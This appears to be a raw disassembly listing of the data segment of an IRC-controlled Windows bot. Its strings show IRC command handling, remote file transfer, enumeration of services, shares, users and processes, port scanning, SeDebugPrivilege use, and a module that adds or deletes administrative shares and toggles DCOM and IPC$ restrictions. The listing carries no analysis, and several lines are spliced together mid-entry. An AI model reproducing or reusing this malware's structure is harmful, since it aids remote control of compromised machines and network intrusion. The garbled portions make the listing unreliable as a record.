dword_4362FC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040D7CFo
dd 2029206Ch, 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_436350 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040D7B1o
; seg000:0041156Ao
dd 2029206Ch, 2BBBB02h
aFailedToSta_25 db ' Failed to start transfer thread, error: <%d>.',0
dword_43639C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: seg000:0040D7A0o
dd 0A0Dh
dword_4363B4 dd 4E495001h, 47haSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: seg000:0040D726o
align 4
dword_4363D8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: seg000:0040D70Co
dd 0D017325h, 0Ah
dword_4363F4 dd 52455601h, 4E4F4953h, 1dword_436400 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:0040D5C1o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: seg000:0040D51Eo
align 4
dword_436448 dd 43434401h, 0 dword_436450 dd 323333h ; seg000:0040D97Ao ...
aNotice db 'NOTICE',0 ; DATA XREF: seg000:0040D465o
; sub_412D32+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: seg000:0040D459o
; sub_412D32+16o
dword_436464 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D408o
dd 2029206Ch, 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_436498 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D3E1o
dd 2029206Ch, 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: seg000:0040D3AAo
aPart db 'PART',0 ; DATA XREF: seg000:0040D35Co
; seg000:0040D425o
align 4
aSS_0 db ':%s%s',0 ; DATA XREF: seg000:0040D334o
align 10h
aNick db 'NICK',0 ; DATA XREF: seg000:0040D206o
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D1A7o
; seg000:0040D449o
dword_4364F8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D18Eo
; seg000:00412898o ...
dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: seg000:0040D11Do
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D0C6o
; seg000:00411922o ...
align 10h
a433 db '433',0 ; DATA XREF: seg000:0040D09Eo
a302 db '302',0 ; DATA XREF: seg000:0040D063o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040D01Do
; seg000:0040D1EDo ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040CFFCo
align 4
aPing db 'PING',0 ; DATA XREF: seg000:0040CFE2o
align 4
asc_43656C db ' :',0 ; DATA XREF: seg000:0040CEBFo
; seg000:loc_40D9D2o
align 10h
dword_436570 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4365BC dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------
loc_4365D8: ; DATA XREF: sub_412B7E+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_4365EC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_412B7E+13Fo
dword_436600 dd 25207325h, 253A2073h, 0A0D73h, 0off_436610 dd offset aAdd ; DATA XREF: sub_412DCD+6Dr
; sub_4131B1+50r ...
; "Add"
off_436614 dd offset aAdded ; DATA XREF: sub_412DCD+2Dr
; sub_4131B1+82r ...
; "Added"
dword_436618 dd 0 dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 436684h, 43667Ch, 2, 436670h, 436664h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: seg002:00436644o
aStop_0 db 'Stop',0 ; DATA XREF: seg002:00436640o
align 4
aStarted db 'Started',0 ; DATA XREF: seg002:00436638o
aStart_0 db 'Start',0 ; DATA XREF: seg002:00436634o
align 4
aListed db 'Listed',0 ; DATA XREF: seg002:0043662Co
align 4
aList_0 db 'List',0 ; DATA XREF: seg002:00436628o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: seg002:00436620o
aDelete_0 db 'Delete',0 ; DATA XREF: seg002:0043661Co
align 4
aAdded db 'Added',0 ; DATA XREF: seg002:off_436614o
align 4
aAdd db 'Add',0 ; DATA XREF: seg002:off_436610o
dword_4366D8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DCD+74o
dd 2029206Ch, 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_436710 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DCD+55o
dd 2029206Ch, 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_43674C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412DCD+38o
dd 2029206Ch, 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412EF6+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412EF6:loc_41300Eo
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412EF6:loc_413007o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_412EF6:loc_413000o
db 'the state of the service.',0
align 10h
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_412EF6:loc_412FF9o
align 4
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_412EF6:loc_412FF2o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_412EF6:loc_412FEBo
align 10h
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412EF6:loc_412FE4o
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_412EF6:loc_412FDDo
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_412EF6:loc_412FD6o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_412EF6:loc_412FCFo
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_412EF6:loc_412FA4o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_412EF6:loc_412F9Do
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_412EF6:loc_412F96o
db 'tServiceCtrlDispatcher.',0
align 10h
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_412EF6:loc_412F8Fo
align 10h
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412EF6+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_412EF6:loc_412F64o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_412EF6:loc_412F5Ao
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_412EF6:loc_412F50o
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412EF6:loc_412F46o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_412EF6:loc_412F3Co
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412EF6+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_413074+EBo
aStopped db ' Stopped',0 ; DATA XREF: sub_413074:loc_413140o
aStarting db ' Starting',0 ; DATA XREF: sub_413074:loc_413139o
aStoping db ' Stoping',0 ; DATA XREF: sub_413074:loc_413132o
aRunning_0 db ' Running',0 ; DATA XREF: sub_413074:loc_41312Bo
aContinuing db ' Continuing',0 ; DATA XREF: sub_413074:loc_413124o
aPausing db ' Pausing',0 ; DATA XREF: sub_413074:loc_41311Do
aPaused_0 db ' Paused',0 ; DATA XREF: sub_413074:loc_413116o
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_413074+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_413074+25o
align 4
dword_436CB4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131B1+ABo
dd 2029206Ch, 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
dword_436CEC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131B1+89o
dd 2029206Ch, 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_436D1C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4131B1+57o
dd 2029206Ch, 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133A6+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_4133A6+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_4133A6+B5o
dword_436D7C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4133A6+76o
dd 2029206Ch, 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_4133A6+26o
align 10h
dword_436DF0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134C7+B6o
dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
dword_436E2C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134C7+94o
dd 2029206Ch, 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_436E6C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134C7+6Do
dd 2029206Ch, 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 10h
dword_436EA0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41360D+394o
dd 2029206Ch, 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_41360D+36Ao
align 4
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_41360D+33Fo
align 10h
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_41360D+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_41360D+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_41360D+2C4o
align 4
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_41360D+299o
align 10h
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_41360D+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_41360D+246o
align 10h
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_41360D+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_41360D+1F3o
align 10h
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_41360D+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_41360D+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_41360D+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_41360D+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_41360D+125o
aGuest db 'Guest',0 ; DATA XREF: sub_41360D:loc_413726o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_41360D:loc_41371Fo
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_41360D+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_41360D+ACo
align 4
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_41360D+81o
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_41360D+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4139DB+14Fo
align 10h
dword_437060 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4139DB+F7o
dd 2029206Ch, 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 10h
aS_5 db ' %S',0 ; DATA XREF: sub_4139DB+BEo
align 4
dword_4370A8 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4139DB+7Ao
dd 2029206Ch, 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4139DB+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_413B5B:loc_413C78o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_413B5B:loc_413C71o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_413B5B:loc_413C6Ao
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_413B5B:loc_413C63o
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_413B5B:loc_413C5Co
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_413B5B:loc_413C3Fo
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_413B5B:loc_413C38o
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_413B5B:loc_413C31o
align 4
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_413B5B+CFo
db ' the domain.',0
align 4
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_413B5B:loc_413C06o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B5B:loc_413BFFo
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_413B5B:loc_413BF8o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B5B:loc_413BEEo
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_413B5B+89o
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_413B5B:loc_413BC8o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_413B5B:loc_413BBEo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_413B5B:loc_413BB4o
align 10h
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_413B5B:loc_413BAAo
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_413B5B:loc_413BA0o
align 10h
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_413B5B+3Bo
align 4
dword_4373C4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413C8F+ABo
dd 2029206Ch, 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_437400 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413C8F+81o
dd 2029206Ch, 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413DB8+120o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DB8+5Ao
; sub_413DB8+19Eo
align 4
dword_43745C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F69:loc_413FF0o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai db ' Process list failed.',0
align 4
dword_437494 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F69+80o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom db ' Process list completed.',0
align 10h
dword_4374D0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413F69+19o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h
dd 72702067h, 7365636Fh, 3A736573h, 0
aConst db 'const',0
align 10h
dd 0
dword_437514 dd 1 off_437518 dd offset sub_4140AE ; DATA XREF: sub_414419+49r
aLetter db 'letter',0
align 8
dd 2, 41410Ch, 706D6F63h, 2 dup(0)
dd 3, 414159h, 6E756F63h, 797274h, 0
dd 4, 4141F7h, 736Fh, 2 dup(0)
dd 5, 41426Ch
dword_43756C dd 69257325h, 0 ; seg000:004141D8o ...
dword_437574 dd 4350h dword_437578 dd 7C7325h ; sub_414419+39o
dword_43757C dd 5D73255Bh, 7Chdword_437584 dd 334B32h dword_437588 dd 5D64255Bh, 7325hdword_437590 dd 5D4D5Bh ; sub_414376+57o
unk_437594 db 2 ; DATA XREF: sub_414482+92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
unk_4375D0 db 2 ; DATA XREF: sub_41454F+41o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 10h
off_437610 dd offset dword_437648 ; DATA XREF: seg000:00414853o
; sub_4149C4+17Ao
align 8
dd offset dword_437640
align 10h
off_437620 dd offset dword_43763C ; DATA XREF: sub_4149C4+1E3o
dd offset dword_437638
dd offset dword_437634
dd offset dword_437630
dword_437630 dd 5C3A44h ; seg002:0043762Co
dword_437634 dd 2444h dword_437638 dd 5C3A43h dword_43763C dd 2443h dword_437640 dd 494D4441h, 244Ehdword_437648 dd 24435049h, 0 unk_437650 db 2 ; DATA XREF: seg000:00414985o
; sub_4149C4+2D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_437694 db 2 ; DATA XREF: seg000:0041496Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 10h
unk_4376D0 db 2 ; DATA XREF: seg000:loc_414902o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 10h
unk_437710 db 2 ; DATA XREF: seg000:004148FBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 4
unk_437748 db 2 ; DATA XREF: seg000:loc_41486Fo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 4
unk_437788 db 2 ; DATA XREF: seg000:00414868o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 10h
unk_4377C0 db 2 ; DATA XREF: seg000:loc_4147D2o
; sub_4149C4:loc_414AF2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_437804 db 2 ; DATA XREF: seg000:loc_4147CBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_437854 db 2 ; DATA XREF: seg000:loc_4147ADo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 4
unk_43789C db 2 ; DATA XREF: seg000:004147A6o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: seg000:0041478Do
; sub_4149C4+EDo
align 10h
unk_437900 db 2 ; DATA XREF: seg000:00414731o
; sub_4149C4+91o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_437944 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: seg000:loc_41470Do
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh
dd 6C626173h, 2E6465h
unk_437974 db 2 ; DATA XREF: seg000:00414706o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: seg000:004146F4o
; sub_4149C4+54o
align 4
word_4379B8 dw 4Eh ; DATA XREF: seg000:004146D8r
align 4
unk_4379BC db 2 ; DATA XREF: sub_4149C4+2C0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_2 db '%c:\',0 ; DATA XREF: sub_4149C4+22Ao
align 4
aC_3 db '%c$',0 ; DATA XREF: sub_4149C4+219o
unk_437A00 db 2 ; DATA XREF: sub_4149C4:loc_414B63o
; sub_4149C4:loc_414C31o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_437A3C db 2 ; DATA XREF: sub_4149C4+198o
; sub_4149C4+266o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 10h
unk_437A70 db 2 ; DATA XREF: sub_4149C4:loc_414AEBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 10h
unk_437AC0 db 2 ; DATA XREF: sub_4149C4:loc_414ACDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_437B08 db 2 ; DATA XREF: sub_4149C4+102o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437B58 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_4149C4:loc_414A31o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh
dd 656C6261h, 2E64h
unk_437B88 db 2 ; DATA XREF: sub_4149C4+66o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
